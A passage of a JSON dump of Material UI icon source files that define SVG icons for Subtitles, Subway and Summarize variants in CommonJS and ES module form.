4H6.83l2 2H20v11.17l1.76 1.76c.15-.28.24-.59.24-.93V6c0-1.1-.9-2-2-2M1.04 3.87l1.2 1.2C2.09 5.35 2 5.66 2 6v12c0 1.1.9 2 2 2h13.17l2.96 2.96 1.41-1.41L2.45 2.45zM4 6.83 7.17 10H6v2h2v-1.17L11.17 14H6v2h7.17l2 2H4z\"\n}, \"2\")], 'SubtitlesOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.83 6 4 4H18v2h-3.17L20 17.17V6zm6.34 12-2-2H6v-2h5.17L8 10.83V12H6v-2h1.17L4 6.83V18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10h-5.17l2 2H18z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H6.83l2 2H20v11.17l1.76 1.76c.15-.28.24-.59.24-.93V6c0-1.1-.9-2-2-2M1.04 3.87l1.2 1.2C2.09 5.35 2 5.66 2 6v12c0 1.1.9 2 2 2h13.17l2.96 2.96 1.41-1.41L2.45 2.45zM4 6.83 7.17 10H6v2h2v-1.17L11.17 14H6v2h7.17l2 2H4z\"\n}, \"2\")], 'SubtitlesOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16zM6 10h2v2H6zm0 4h8v2H6zm10 0h2v2h-2zm-6-4h8v2h-8z\"\n}), 'SubtitlesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16zM6 10h2v2H6zm0 4h8v2H6zm10 0h2v2h-2zm-6-4h8v2h-8z\"\n}), 'SubtitlesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M5 12h2c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1m8 6H5c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m6 0h-2c-.55 0-1-.45-1-1s.45-1 1-1h2c.55 0 1 .45 1 1s-.45 1-1 1m0-4h-8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'SubtitlesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M5 12h2c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1m8 6H5c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m6 0h-2c-.55 0-1-.45-1-1s.45-1 1-1h2c.55 0 1 .45 1 1s-.45 1-1 1m0-4h-8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'SubtitlesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zM4 12h4v2H4zm10 6H4v-2h10zm6 0h-4v-2h4zm0-4H10v-2h10z\"\n}), 'SubtitlesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zM4 12h4v2H4zm10 6H4v-2h10zm6 0h-4v-2h4zm0-4H10v-2h10z\"\n}), 'SubtitlesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V6H4zm14-2h-2v-2h2zm-8-6h8v2h-8zm-4 0h2v2H6zm0 4h8v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16zM6 10h2v2H6zm0 4h8v2H6zm10 0h2v2h-2zm-6-4h8v2h-8z\"\n}, \"1\")], 'SubtitlesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubtitlesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zm14-2h-2v-2h2zm-8-6h8v2h-8zm-4 0h2v2H6zm0 4h8v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16zM6 10h2v2H6zm0 4h8v2H6zm10 0h2v2h-2zm-6-4h8v2h-8z\"\n}, \"1\")], 'SubtitlesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Subway.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.01 9h10v5h-10zM17.8 2.8C16 2.09 13.86 2 12 2s-4 .09-5.8.8C3.53 3.84 2 6.05 2 8.86V22h20V8.86c0-2.81-1.53-5.02-4.2-6.06m.2 13.08c0 1.45-1.18 2.62-2.63 2.62l1.13 1.12V20H15l-1.5-1.5h-2.83L9.17 20H7.5v-.38l1.12-1.12C7.18 18.5 6 17.32 6 15.88V9c0-2.63 3-3 6-3 3.32 0 6 .38 6 3z\"\n}, \"2\")], 'Subway');"
  },
  {
    "path": "packages/mui-icons-material/lib/Subway.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.01 9h10v5h-10zM17.8 2.8C16 2.09 13.86 2 12 2s-4 .09-5.8.8C3.53 3.84 2 6.05 2 8.86V22h20V8.86c0-2.81-1.53-5.02-4.2-6.06m.2 13.08c0 1.45-1.18 2.62-2.63 2.62l1.13 1.12V20H15l-1.5-1.5h-2.83L9.17 20H7.5v-.38l1.12-1.12C7.18 18.5 6 17.32 6 15.88V9c0-2.63 3-3 6-3 3.32 0 6 .38 6 3z\"\n}, \"2\")], 'Subway');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubwayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.8 2.8C16 2.09 13.86 2 12 2s-4 .09-5.8.8C3.53 3.84 2 6.05 2 8.86V22h20V8.86c0-2.81-1.53-5.02-4.2-6.06M9.17 20l1.5-1.5h2.66l1.5 1.5zm-2.16-6V9h10v5zm9.49 2c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m-8-1c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M20 20h-3.5v-.38l-1.15-1.16c1.49-.17 2.65-1.42 2.65-2.96V9c0-2.63-3-3-6-3s-6 .37-6 3v6.5c0 1.54 1.16 2.79 2.65 2.96L7.5 19.62V20H4V8.86c0-2 1.01-3.45 2.93-4.2C8.41 4.08 10.32 4 12 4s3.59.08 5.07.66c1.92.75 2.93 2.2 2.93 4.2z\"\n}), 'SubwayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubwayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.8 2.8C16 2.09 13.86 2 12 2s-4 .09-5.8.8C3.53 3.84 2 6.05 2 8.86V22h20V8.86c0-2.81-1.53-5.02-4.2-6.06M9.17 20l1.5-1.5h2.66l1.5 1.5zm-2.16-6V9h10v5zm9.49 2c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m-8-1c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M20 20h-3.5v-.38l-1.15-1.16c1.49-.17 2.65-1.42 2.65-2.96V9c0-2.63-3-3-6-3s-6 .37-6 3v6.5c0 1.54 1.16 2.79 2.65 2.96L7.5 19.62V20H4V8.86c0-2 1.01-3.45 2.93-4.2C8.41 4.08 10.32 4 12 4s3.59.08 5.07.66c1.92.75 2.93 2.2 2.93 4.2z\"\n}), 'SubwayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubwayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.01 9h10v5h-10zM17.8 2.8C16 2.09 13.86 2 12 2s-4 .09-5.8.8C3.53 3.84 2 6.05 2 8.86V22h20V8.86c0-2.81-1.53-5.02-4.2-6.06m.2 12.7c0 1.54-1.16 2.79-2.65 2.96l1.15 1.16V20h-1.67l-1.5-1.5h-2.66L9.17 20H7.5v-.38l1.15-1.16C7.16 18.29 6 17.04 6 15.5V9c0-2.63 3-3 6-3s6 .37 6 3z\"\n}, \"2\")], 'SubwayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubwayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.01 9h10v5h-10zM17.8 2.8C16 2.09 13.86 2 12 2s-4 .09-5.8.8C3.53 3.84 2 6.05 2 8.86V22h20V8.86c0-2.81-1.53-5.02-4.2-6.06m.2 12.7c0 1.54-1.16 2.79-2.65 2.96l1.15 1.16V20h-1.67l-1.5-1.5h-2.66L9.17 20H7.5v-.38l1.15-1.16C7.16 18.29 6 17.04 6 15.5V9c0-2.63 3-3 6-3s6 .37 6 3z\"\n}, \"2\")], 'SubwayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubwaySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.01 9h10v5h-10zM17.8 2.8C16 2.09 13.86 2 12 2s-4 .09-5.8.8C3.53 3.84 2 6.05 2 8.86V22h20V8.86c0-2.81-1.53-5.02-4.2-6.06m.2 12.7c0 1.54-1.16 2.79-2.65 2.96l1.15 1.16V20h-1.67l-1.5-1.5h-2.66L9.17 20H7.5v-.38l1.15-1.16C7.16 18.29 6 17.04 6 15.5V9c0-2.63 3-3 6-3s6 .37 6 3z\"\n}, \"2\")], 'SubwaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubwaySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.01 9h10v5h-10zM17.8 2.8C16 2.09 13.86 2 12 2s-4 .09-5.8.8C3.53 3.84 2 6.05 2 8.86V22h20V8.86c0-2.81-1.53-5.02-4.2-6.06m.2 12.7c0 1.54-1.16 2.79-2.65 2.96l1.15 1.16V20h-1.67l-1.5-1.5h-2.66L9.17 20H7.5v-.38l1.15-1.16C7.16 18.29 6 17.04 6 15.5V9c0-2.63 3-3 6-3s6 .37 6 3z\"\n}, \"2\")], 'SubwaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubwayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.67 18.5 9.17 20h5.66l-1.5-1.5zm6.4-13.84C15.59 4.08 13.68 4 12 4s-3.59.08-5.07.66C5.01 5.41 4 6.86 4 8.86V20h3.5v-.38l1.15-1.16C7.16 18.29 6 17.04 6 15.5V9c0-2.63 3-3 6-3s6 .37 6 3v6.5c0 1.54-1.16 2.79-2.65 2.96l1.15 1.16V20H20V8.86c0-2-1.01-3.45-2.93-4.2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.8 2.8C16 2.09 13.86 2 12 2s-4 .09-5.8.8C3.53 3.84 2 6.05 2 8.86V22h20V8.86c0-2.81-1.53-5.02-4.2-6.06M9.17 20l1.5-1.5h2.66l1.5 1.5zm-2.16-6V9h10v5zm9.49 2c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m-8-1c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M20 20h-3.5v-.38l-1.15-1.16c1.49-.17 2.65-1.42 2.65-2.96V9c0-2.63-3-3-6-3s-6 .37-6 3v6.5c0 1.54 1.16 2.79 2.65 2.96L7.5 19.62V20H4V8.86c0-2 1.01-3.45 2.93-4.2C8.41 4.08 10.32 4 12 4s3.59.08 5.07.66c1.92.75 2.93 2.2 2.93 4.2z\"\n}, \"1\")], 'SubwayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SubwayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.67 18.5 9.17 20h5.66l-1.5-1.5zm6.4-13.84C15.59 4.08 13.68 4 12 4s-3.59.08-5.07.66C5.01 5.41 4 6.86 4 8.86V20h3.5v-.38l1.15-1.16C7.16 18.29 6 17.04 6 15.5V9c0-2.63 3-3 6-3s6 .37 6 3v6.5c0 1.54-1.16 2.79-2.65 2.96l1.15 1.16V20H20V8.86c0-2-1.01-3.45-2.93-4.2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.8 2.8C16 2.09 13.86 2 12 2s-4 .09-5.8.8C3.53 3.84 2 6.05 2 8.86V22h20V8.86c0-2.81-1.53-5.02-4.2-6.06M9.17 20l1.5-1.5h2.66l1.5 1.5zm-2.16-6V9h10v5zm9.49 2c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m-8-1c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M20 20h-3.5v-.38l-1.15-1.16c1.49-.17 2.65-1.42 2.65-2.96V9c0-2.63-3-3-6-3s-6 .37-6 3v6.5c0 1.54 1.16 2.79 2.65 2.96L7.5 19.62V20H4V8.86c0-2 1.01-3.45 2.93-4.2C8.41 4.08 10.32 4 12 4s3.59.08 5.07.66c1.92.75 2.93 2.2 2.93 4.2z\"\n}, \"1\")], 'SubwayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Summarize.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V9zM8 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 1V4.5l5.5 5.5z\"\n}), 'Summarize');"
  },
  {
    "path": "packages/mui-icons-material/lib/Summarize.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V9zM8 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 1V4.5l5.5 5.5z\"\n}), 'Summarize');"
  },
  {
    "path": "packages/mui-icons-material/lib/SummarizeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V9zM5 19V5h9v5h5v9zM9 8c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m0 4c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m0 4c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'SummarizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SummarizeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V9zM5 19V5h9v5h5v9zM9 8c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m0 4c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m0 4c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'SummarizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SummarizeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.59 3.59c-.38-.38-.89-.59-1.42-.59H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V9.83c0-.53-.21-1.04-.59-1.41zM8 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0V4.5l5.5 5.5H15c-.55 0-1-.45-1-1\"\n}), 'SummarizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SummarizeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.59 3.59c-.38-.38-.89-.59-1.42-.59H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V9.83c0-.53-.21-1.04-.59-1.41zM8 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0V4.5l5.5 5.5H15c-.55 0-1-.45-1-1\"\n}), 'SummarizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SummarizeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3H3v18h18V9zM8 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 1V4.5l5.5 5.5z\"\n}), 'SummarizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SummarizeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3H3v18h18V9zM8 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 1V4.5l5.5 5.5z\"\n}), 'SummarizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SummarizeTwoTone.js",
